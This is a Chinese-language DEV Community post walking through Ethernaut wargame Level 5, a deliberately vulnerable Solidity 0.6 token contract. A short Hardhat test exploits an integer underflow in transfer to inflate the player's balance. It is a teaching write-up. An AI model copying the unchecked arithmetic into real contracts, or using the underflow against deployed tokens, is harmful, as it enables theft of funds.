DEV Community

bin2chen
bin2chen

Posted on

Ethernaut系列-Level 5(Token)

LEVEL 5 (Token)

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}
Enter fullscreen mode Exit fullscreen mode

通关要求

起始给10个token,要求变成很多很多个token

要点

数值计算溢出问题,solidity0.8前的版本是没做溢出报错的,如uint计算负数后会变成很大,solidity0.8后就不用第三方库如openzeppelin的SafeMath来保障,直接计算即可,EVM会报错。

解题思路

只有10个token,transfer传1000个就会溢出
test/05Token.js

  it("attacks", async function () {
    //调用合约transfer
    await levelContract.connect(player).transfer(levelOwner.address, 1000);
  });

  it("check", async function () {
    //检查通过条件
    expect(await levelContract.balanceOf(player.address)).to.above(1000);
  });
Enter fullscreen mode Exit fullscreen mode

Top comments (0)